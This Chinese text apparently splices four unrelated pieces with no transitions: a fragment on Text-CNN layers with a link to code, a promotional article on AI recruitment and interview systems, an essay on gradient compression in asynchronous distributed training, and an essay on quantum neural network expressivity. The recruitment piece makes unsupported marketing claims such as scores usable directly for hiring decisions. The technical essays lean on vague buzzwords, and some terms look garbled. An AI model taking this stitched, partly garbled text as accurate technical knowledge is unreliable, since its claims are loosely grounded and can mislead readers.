Text-CNN的模型结构主要包含四个部分:嵌入层(Embedding Layer)、卷积层(Convolutional Layer)、池化层(Pooling Layer)和全连接层(Fully Connected Layer)。在嵌入层,系统将预处理后的中文分词转换为密集的词向量表示,捕捉词语的语义信息。卷积层使用多个不同尺寸的卷积核(如3、4、5个词窗口)对文本进行卷积操作,提取文本的局部特征,类似于N-gram特征提取。池化层采用最大池化(Max Pooling)操作,从每个卷积核的输出中提取最重要的特征,降低特征维度并保留最显著的情感特征。全连接层将池化后的特征进行整合,通过Softmax激活函数输出分类概率。

四、技术架构图

图片

五、系统功能模块图

图片

演示视频 and 完整代码 and 安装

地址:https://www.yuque.com/ziwu/qkqzd2/py2zlsgq894x4eq6

AI已站在招聘门口,传统招聘方式正面临挑战
如今,不少招聘场景中都存在这样的困境:简历数量持续增多,但符合需求的候选人却愈发稀缺;HR 日程被面试排满,业务部门对招聘结果仍不满意;企业招人时愈发谨慎,却依然难以避免“招错人”的情况。

事实上,AI 早已不是未来的概念,而是以 AI 面系统、AI 招聘系统的形式,深度参与到招聘前端流程中,影响着候选人的筛选结果,招聘的权力结构已然发生改变。
传统招聘模式长期被三大问题困扰:初筛流程繁琐,HR 与业务面试官深陷重复面试工作;人才评价高度依赖个人经验,结果缺乏复盘依据;时间、人力成本不断增加,错招带来的损失也难以量化,这些问题直接导致招聘效率下滑,并非 HR 不够专业,而是传统工具已难以适配当下的招聘需求。
AI 招聘系统的出现,正是为了解决传统招聘的低效、主观与成本失控问题。它并非要取代 HR,而是将 HR 从大量重复、低价值的工作中解放出来,其核心优势集中在精度与体验两个方面。
在精准度上,成熟的 AI 招聘系统打分体系经过了人机对比实验验证,且通过了效标效度与重测稳定信度两项心理学核心指标检验,打分结果可直接作为招聘决策依据,让人才选拔从经验驱动转向科学判断。以先进的 AI 面试智能体为例,一道问题就能同步评估多项胜任力,衔接初筛与技术复试,整体评估效率提升 50% 以上。系统能根据候选人实时回答自由追问,深度挖掘简历关键信息与模糊点,生成递进式提问,既降低信息造假风险,也避免遗漏优质候选人。同时,它既能覆盖沟通、协作等通用胜任力评估,也能针对编程、算法等专业岗位精准出题,减轻 HR 与专业面试官的负担。
在候选人体验上,优质的 AI 面试系统会注重提升交互感受。系统能识别候选人的语速、情绪变化,像真人 HR 一样进行引导,帮助候选人发挥真实水平;面试无需手动操作开始或结束,系统自动判断回答状态并衔接下一问题,更贴近真实交流场景。在视觉与交互设计上,语音与口型匹配精度提升,减少 AI 面试的疏离感;候选人面试中可随时提问,系统能解答职位信息、公司福利等问题,帮助候选人深入了解企业与岗位。
招聘行业正在发生变革,AI 不会取代 HR,但低效、主观、不可验证的招聘方式终将被淘汰。HR 的价值正在被重新定义,智能招聘工具的应用,让招聘流程更高效、判断更精准,也为企业与候选人搭建起更优质的沟通桥梁。

梯度传输的带宽消耗始终是制约效率的关键枢纽,而梯度压缩作为突破这一瓶颈的核心手段,其真正的技术难点从未停留在压缩比例的提升,而是如何在极致削减数据传输量的同时,守住收敛稳定性的底线。很多实践者容易陷入“压缩率越高越好”的认知误区,却忽视了异步环境下各节点计算节奏差异、梯度更新延迟等因素与压缩操作的叠加效应,往往导致模型训练出现震荡加剧、收敛曲线平缓甚至倒退的问题,这种问题在千万级以上参数模型的长周期训练中表现得尤为明显,不少团队耗费大量算力资源,最终却因梯度压缩策略不当导致训练半途而废。真正的技术深耕者会发现,梯度压缩的本质并非简单的信息删减,而是梯度特征的结构化保留与噪声过滤,如何在数据量锐减的情况下,让核心梯度信息完整传递并有效作用于模型更新,才是决定训练成败的关键,这需要跳出单纯的算法优化,从梯度传播规律、节点协同逻辑、误差补偿机制等多维度构建系统性解决方案,实现效率与精度的双向平衡。

异步分布式训练的核心挑战在于各节点的独立性与全局模型的一致性之间的天然矛盾,而梯度压缩的介入会进一步放大这种矛盾,其根源在于梯度过时与压缩误差的双重叠加。在异步架构中,各工作节点独立完成本地计算后直接上传梯度,无需等待其他节点,这种模式虽然提升了资源利用率,但不同节点的计算速度、数据处理规模存在天然差异,部分节点可能因硬件性能不足或数据批次复杂,导致上传的梯度基于的是较早版本的全局参数,形成明显的梯度过时现象,这种现象在异构算力集群中更为突出,GPU节点与CPU节点的计算效率差异可能让梯度版本差达到数轮之多。当引入梯度压缩后,无论是量化操作对梯度精度的损耗,还是稀疏化对梯度维度的裁剪,都会在梯度过时的基础上增加新的误差源,这些误差如果不能得到有效管控,就会在迭代过程中不断累积,最终破坏梯度下降的整体方向,让模型参数更新偏离最优路径。解决这一问题的关键在于建立“动态感知-误差校准”的联动机制,通过实时捕捉各节点的计算状态、参数版本差异,为不同节点的压缩梯度分配动态权重,让过时程度较轻、信息密度较高的梯度获得更高的更新优先级,同时对压缩过程中丢失的细粒度特征进行合理推演补偿,从而在保持异步训练高效性的前提下,最大限度降低误差累积对收敛的影响。

梯度压缩的精度守护不能依赖单一的压缩算法优化,而需要构建“结构化保留-自适应调整”的双重保障体系,让压缩操作与训练进程深度耦合。传统的固定阈值稀疏化或均匀量化方法,之所以容易导致收敛波动,核心在于其忽略了梯度在不同训练阶段的分布特性差异——训练初期梯度分布分散,核心特征不突出,过度压缩会丢失关键更新信号,导致模型无法快速找到有效下降方向;训练后期梯度逐渐集中,冗余信息增多,但细粒度梯度对精度微调至关重要,简单的量化会抹平这些关键差异,让模型难以逼近最优收敛点。基于实践中的观察与探索,有效的做法是采用基于梯度分布特征的动态压缩策略,通过分析梯度的概率分布形态、特征重要性排序,建立层级化的保留机制,对影响模型决策的核心梯度分量采用低压缩比甚至不压缩,对冗余梯度则根据其贡献度动态调整压缩强度,比如在计算机视觉模型训练中,针对卷积层的梯度采用差异化压缩,对边缘检测相关的梯度分量重点保留。同时,将压缩策略与模型的训练状态实时联动,通过监测训练损失曲线的变化速率、参数更新的稳定性,自适应调整压缩参数,当发现收敛出现波动时,自动降低压缩强度或启动误差补偿机制,确保压缩操作始终服务于收敛目标,而非单纯追求传输效率。

误差补偿机制是梯度压缩中守护收敛稳定性的隐形核心,其设计的关键在于精准识别压缩过程中丢失的有效信息,并通过合理的推演与反馈实现损失弥补。很多压缩方案之所以失败,并非因为压缩比例过高,而是缺乏有效的误差补偿逻辑,导致每次压缩造成的信息损失不断累积,最终偏离最优收敛路径,这种累积误差在小批量训练场景中尤为致命,可能让模型在几轮迭代后就出现性能断崖式下跌。实践中发现,梯度压缩造成的误差并非随机噪声,而是具有明显的结构性特征——量化误差多集中在梯度的细粒度分量,这些分量看似对单次更新影响微小,却在长周期训练中决定着模型的最终精度;稀疏化误差则表现为部分低频但关键的梯度信号被过滤,这类信号往往与模型的泛化能力密切相关。针对这些特性,可构建双轨制误差补偿体系:一方面,通过维护本地残差梯度缓存,将每次压缩过程中丢弃的梯度信息以残差形式累积,在下一轮迭代中与新计算的梯度融合后再进行压缩,实现误差的渐进式抵消,这种方式尤其适合处理量化带来的细粒度误差;另一方面,引入梯度相关性校准机制,通过分析历史梯度更新与模型性能变化的关联规律,对当前压缩后缺失的关键特征进行合理推演,生成补偿梯度并融入全局更新过程,这种方式能有效修复稀疏化导致的低频信号丢失问题。

异步环境下的节点协同策略对梯度压缩的收敛效果具有决定性影响,其核心在于通过优化节点间的信息交互逻辑,降低压缩误差与梯度过时的叠加效应。在传统异步训练中,参数服务器被动接收各节点上传的压缩梯度并直接聚合,这种模式容易导致不同节点的梯度误差相互干扰,尤其是当部分节点的压缩梯度存在较大偏差时,会直接影响全局模型的更新方向,让收敛曲线出现剧烈震荡。通过大量实践验证,优化节点协同的关键在于建立“梯度质量评估-有序聚合”机制,参数服务器在接收压缩梯度时,首先对其质量进行多维度评估,包括梯度与当前全局参数的匹配度、压缩误差的预估大小、节点历史贡献度等,这些评估维度并非固定不变,而是根据训练阶段动态调整权重,比如训练初期侧重梯度匹配度,训练后期侧重压缩误差控制。根据评估结果对梯度进行优先级排序,优先聚合质量较高、误差较小的梯度,同时对质量较低的梯度进行适度加权衰减,降低其对全局更新的干扰,避免低质量梯度主导参数更新方向。此外,通过动态调整节点的梯度上传频率,让计算性能强、数据质量高的节点获得更频繁的上传权限,减少低质量梯度的传输与聚合,从源头降低压缩误差对收敛的负面影响,形成节点协同与梯度压缩的良性循环。

梯度压缩的收敛稳定性最终需要在大规模、长周期的训练场景中得到验证,而实践中的核心认知在于,压缩策略的设计必须兼顾精度守护与工程可行性,避免陷入“为了稳定而牺牲效率”的另一个极端。在千万级参数模型的训练实践中发现,单纯追求理论上的精度无损压缩是不现实的,合理的精度损耗是换取效率提升的必要代价,关键在于建立“损耗可控-动态平衡”的决策框架,明确模型精度的容忍阈值,这个阈值需要结合具体任务需求设定,比如工业级模型可接受1%以内的精度损耗,而科研级模型则需要控制在0.5%以下。通过设定收敛精度的容忍阈值,在训练过程中实时监测精度变化,当损耗在阈值范围内时,最大化压缩效率;当损耗超出阈值时,自动启动调整机制,通过降低压缩比、强化误差补偿等方式将精度拉回可控范围。

量子神经网络的表达能力绝非经典模型的简单升级,而是源于量子态演化带来的维度重构与关联重塑,其核心奥秘藏在希尔伯特空间的隐式拓展与量子特性的深度融合中。很多研究者容易陷入将量子优势归因于并行性的表层认知,却忽视了叠加与纠缠如何从本质上改变函数映射的底层逻辑,导致理论分析与实践落地脱节,这种认知偏差使得不少研究停留在“量子概念嫁接经典模型”的层面,未能触及量子表达能力的核心内核。真正的深层探索会发现,量子神经网络的表达能力本质是“量子态表征的结构化赋能”,它能通过非局域关联捕捉经典模型难以企及的复杂特征交互,在高频信号拟合、高维系统建模等场景中展现出指数级的表达效能,这种优势并非来自算力的线性提升,而是源于对数据内在关联的量子化重构,需要从态设计、电路架构、协同机制等多维度建立系统性的理论认知,唯有如此才能打破“量子优势停留在理论层面”的困境,让量子神经网络的表达潜力真正释放。

量子特性对表达能力的赋能并非零散作用,而是通过“叠加介导的维度拓展”与“纠缠驱动的关联强化”形成协同效应,这种协同在具体场景中呈现出独特的表达优势。在高频信号表征任务中,经典模型往往需要通过增加网络层数或参数数量来逼近信号的细微波动,却容易陷入过拟合或参数冗余的困境,甚至会因梯度消失问题导致模型无法捕捉到信号的深层特征,而量子神经网络借助叠加态对多频率分量的同步承载,能够在有限参数下实现对高频特征的精准捕捉,无需额外增加复杂度就能覆盖更广泛的特征空间。纠缠特性则让量子比特之间形成非局域关联,这种关联无需依赖数据的显式交互,就能自然刻画特征间的隐性依赖,在复杂系统建模中,比如量子化学分子结构预测,这种关联机制能有效捕捉原子间的长程相互作用,而经典模型需要通过复杂的核函数设计才能勉强逼近,且难以兼顾计算效率与拟合精度。更关键的是,这种量子赋能并非无边界,其表达效能受到量子相干时间与门操作保真度的约束,如何在特性利用与噪声管控之间找到平衡,成为理论分析必须破解的核心命题,这也是区分量子神经网络理论研究深浅的关键标尺。

量子电路的架构设计直接决定表达能力的上限与落地可行性,不同的电路结构在特征提取、维度映射、关联建模上呈现出截然不同的效能表现。输入态的设计是架构优化的起点,通过线性组合技术构建特殊输入态,能够在不增加电路深度的前提下,显著拓展量子态的可及范围,让模型在有限资源下覆盖更丰富的函数空间,比如基于相干态的输入设计,就能有效提升模型对连续变量数据的表征能力。在电路深度的选择上,过深的结构虽然能提升理论表达能力,却会因噪声累积和贫瘠高原问题导致实际表达效能下降,甚至会让模型陷入参数无法有效优化的困境,而浅层电路虽具备更好的可训练性,却可能因表达范围有限无法应对复杂任务。实践中发现,采用“层级化门操作组合”的架构设计,将单量子比特旋转门与多量子比特纠缠门交替排布,能够在深度与效能之间形成最优平衡,这种结构既通过旋转门实现特征的精细调校,又借助纠缠门构建全局关联,在图像隐式表征等场景中,能以远少于经典模型的参数实现更高的拟合准度,同时还能降低门操作的误差累积,提升模型的实际应用价值。

量子神经网络的表达边界并非固定不变,而是通过与经典系统的混合架构实现动态拓展,这种混合模式既规避了纯量子系统的硬件限制,又充分发挥了量子表达的核心优势。混合参数化量子态框架通过将量子测量结果与经典神经估计器相结合,能够有效弥补量子测量的统计不确定性,在低测量条件下依然保持稳定的表达能力,这种模式突破了纯量子模型对大规模量子比特和高精度测量设备的依赖,让量子神经网络的研究能够在现有NISQ时代的硬件条件下稳步推进。在复杂分类任务中,相比纯量子或纯经典模型,这种混合架构展现出更高的准度与鲁棒性,其核心在于分工协作的合理性——量子模块专注于高维特征的隐式映射,经典模块则负责误差补偿与细节优化,两者的协同效应远超单一系统的表现。在信号处理场景中,这种协同能让量子模块捕捉核心频率特征,经典模块则修正量子噪声带来的细微偏差,形成1+1>2的表达效能,更重要的是,混合架构为量子表达能力的工程化落地提供了可行路径,它降低了对量子硬件的苛刻要求,让量子表达的理论优势能够在现有技术条件下逐步释放,加速了量子神经网络从实验室走向实际应用的进程。

抗噪声能力是量子神经网络表达能力从理论走向实践的关键支撑,噪声的存在会直接扭曲量子态的演化轨迹,削弱叠加与纠缠的表达效能,因此构建抗噪声的表达机制成为理论分析的重要维度。量子系统的噪声主要源于环境干扰与门操作误差,这些噪声会导致量子态退相干,破坏特征映射的完整性,尤其在深层电路中,噪声的累积会让表达能力急剧下降,甚至会让量子模型的性能反超经典模型的优势荡然无存。实践中发现,通过“态保护设计”与“动态误差校准”的双重机制,能够有效缓解噪声的负面影响,态保护设计通过优化量子门的序列排布,增强量子态对环境干扰的鲁棒性,比如采用动态解耦技术,通过周期性的脉冲操作抵消环境的相干影响,延长量子态的有效相干时间。动态误差校准则借助经典算法对量子测量结果进行实时修正,抵消噪声带来的表达偏差,比如基于卡尔曼滤波的校准方法,就能有效降低测量过程中的统计误差。在含噪量子比特环境中,这种抗噪声机制能让量子神经网络在常数深度下,依然保持对经典模型的表达优势,即使面临局域随机噪声,也能通过逻辑建议态与魔法态注入协议,维持核心特征的有效映射,为量子神经网络的实际部署扫清关键障碍。

量子神经网络表达能力的理论分析最终需要回归实践适配性,脱离具体应用场景的理论探讨毫无意义,真正有价值的理论必须能够指导架构设计、参数调校与场景适配。在高频信号拟合场景中,理论分析明确了量子电路的频谱覆盖范围与门操作组合的对应关系,指导实践者通过调整旋转门的参数分布,优化对特定频率区间的表达效能,让模型能够精准捕捉到雷达信号中的微弱目标特征,这一指导作用在军事探测领域具备极高的实用价值。在分子结构建模中,基于纠缠关联的理论认知,能够帮助设计者确定量子比特的连接方式,精准捕捉原子间的长程相互作用,为新型药物分子的研发提供高效的建模工具,缩短药物研发的周期。